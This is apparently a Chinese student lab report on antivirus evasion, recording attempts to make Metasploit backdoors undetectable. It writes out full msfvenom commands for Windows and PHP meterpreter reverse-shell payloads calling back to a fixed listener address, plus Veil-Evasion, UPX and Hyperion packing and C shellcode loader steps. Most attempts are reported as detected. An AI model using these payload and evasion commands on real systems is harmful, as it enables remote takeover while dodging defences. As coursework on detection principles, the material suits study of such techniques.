Exp3-免杀原理

Exp3-免杀原理

一、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

msfvenom指令:

  • -p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
  • -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
  • -n, --nopsled length> 为payload预先指定一个NOP滑动长度
  • -f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
  • -e, --encoder [encoder] 指定需要使用的encoder(编码器)
  • -a, --arch architecture> 指定payload的目标架构
  • --platform platform> 指定payload的目标平台
  • -s, --space length> 设定有效攻击荷载的最大长度
  • -b, --bad-chars list> 设定规避字符集,比如: 'x00xff'
  • -i, --iterations count> 指定payload的编码次数
  • -c, --add-code path> 指定一个附加的win32 shellcode文件
  • -x, --template path> 指定一个自定义的可执行文件作为模板
  • -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
  • --payload-options 列举payload的标准选项
  • -o, --out path> 保存payload
  • -v, --var-name name> 指定一个自定义的变量,以确定输出格式
  • --shellest 最小化生成payload
  • -h, --help 查看帮助选项
  • --help-formats 查看msf支持的输出格式列表

1、使用msf编码器,生成exe文件

在这里我们的payload是msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.211.137 LPORT=1221 -f exe > 20181221.exe

image-20210404143510485

我们发现可以被在线网站VirusTotal检测出来,同时火绒扫描也能检测出来。

image-20210404144138567

2、使用msf编码器多次迭代,生成exe文件

于是我们怀疑是因为编码次数太少,于是尝试多迭代几次。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b 'x00' LHOST=192.168.211.137 LPORT=1221 -f exe > 20181221.exe

我们发现,还是能够被火绒检测出来

image-20210404144622154

3、生成php格式的后门文件

百度搜索了一下,发现msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀。于是,我们尝试生成php的后门文件。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.211.137 LPORT=1221 x> 20181221.php

image-20210404153442870

发现还是会被检测出来。

所以我们尝试使用嵌入式shellcode,手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率。

二、使用veil,加壳工具

1、安装veil

  • sudo apt-get install veil-evasion命令安装Veil

  • 使用命令vim /usr/share/veil/config/setup.sh,打开文件后输入/sudo git clone,找到第251行的github仓库地址,并改成码云的仓库https://gitee.com/spears/VeilDependencies.git

  • 打开veil,根据提示默认安装。

  • image-20210404154337275

如果出现这种点不动的情况,是内存不足的问题,清一下自己的机器内存。我是通过sudo apt-get autoremove将没用的卸载之后才腾出来的内存。

  • 安装完后,如果报[!] ERROR #2-3: Can't find the WINE profile for AuotIT v3 (/var/lib/veil/wine//drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe). Run: /usr/share/veil/config/setup.sh --force --silent

就在终端输入/usr/share/veil/config/setup.sh --force --silent

  • 最后启动veil时,看到以下界面为安装成功。

image-20210404154624590

2、使用veil-evasion生成后门程序及检测

  • use evasion命令进入Evil-Evasion

image-20210404154736145

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

image-20210404154805649

  • 设置IP和端口set LHOST 192.168.211.137 和 set LPORT 1221

  • 输入generate生成文件,接着输入你的命名,如:20181221_veil,如果不输入就是默认为payload

image-20210404155401574

  • 文件保存在/var/lib/veil/output/compiled/20181221_veil.exe

  • 传到win10主机中,发现还是被火绒检测到了image-20210404155616946

3、对后门进行加壳处理

  • 使用命令upx 20181221.exe -o 20181221s.exe进行加壳

  • 传到win10主机中,发现还是被检测到了(火绒还是强的)

三、使用C + shellcode编程

  • 通过命令用msf生成一段shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.137 LPORT=1221 -f c

  • 将shellcode写入C文件中,并编译为可执行文件i686-w64-mingw32-g++ 20181221.c -o 20181221c.exe

  • 将20181221c.exe传入win10主机中,可惜还是被火绒发现了

image-20210404162855010

四、通过组合应用各种技术实现恶意代码免杀

  • 根据网上的办法,尝试通过把加压缩壳后的文件直接再加加密壳的方式实现恶意代码免杀

  • 通过cp ~/20181221s.exe /usr/share/windows-resources/hyperion/的命令,将20181221s.exe复制到/usr/share/windows-resources/hyperion/

  • 在目录/usr/share/windows-resources/hyperion/下输入sudo wine hyperion.exe -v 20181221s.exe 20181221t.exe命令再次进行加壳

  • 传到win10主机中,在kali中打开msf等待回连。

  • 结果也会被检测出来。

  • 实际上,我还尝试了各种各样的办法,除了关闭火绒检测能成功以外,其他全都会被火绒拦截下来,看看有没有哪位大佬能够成功免杀的。
    image-20210404164802511

五、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

image-20210404182846556

image-20210404182903629

由于没有第二台电脑,所以我直接用的win7虚拟机,下载的是360安全卫士,如果不添加到信任区根本成功不了,最后添加到信任区成功getshell。

免杀原理及基础问题回答

免杀原理

1、 一般是对恶意软件做处理,让他不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
2、 要做好免杀,就需要清楚杀毒软件(恶意软件检测工具)是如何工作的
3、 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

基础问题回答

杀软是如何检测出恶意代码的?

检测方式有三种

  • 1、基于特征码的检测
    • 特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的特征码就会被检测为是恶意代码。
  • 2、启发式恶意软件检测
    • 如果一个软件在执行连接恶意网站、开放端口、修改系统文件等有害任务,杀软就会把它当成一个恶意软件。
  • 基于行为的恶意软件检测
    • 其实就是加了行为监控的启发式恶意软件检测,它会让软件正常运行,后台记录软件行为并进行分析。

免杀是做什么?

通过使用一些特殊的方法,防止杀软检测到恶意代码的存在。

免杀的基本方法有哪些?

  • 免杀大概可以分为两种情况:
    1. 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
    2. 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
  • 免杀也可以分为这两种情况:
    1. 静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。免杀方式可能是上面的两种方式,看情况。
    2. 动态行为免杀,运行中执行的某些行为被杀毒软件拦截报读。行为免杀如果没有源码就不是很好搞了。

开启杀软能绝对防止电脑中恶意代码吗?

虽然目前的结果来看,杀软能够抵御大部分的恶意代码,但是总会有杀软无法抵御的恶意代码出现,所以不能绝对防止。

实验体会

本次实验教会了我如何制作免杀后门,虽然基本都会被现在的杀软杀光,但是懂得了其中的原理,印象深刻。

原文地址:https://www.cnblogs.com/MisakaYuii-Z/p/14616707.html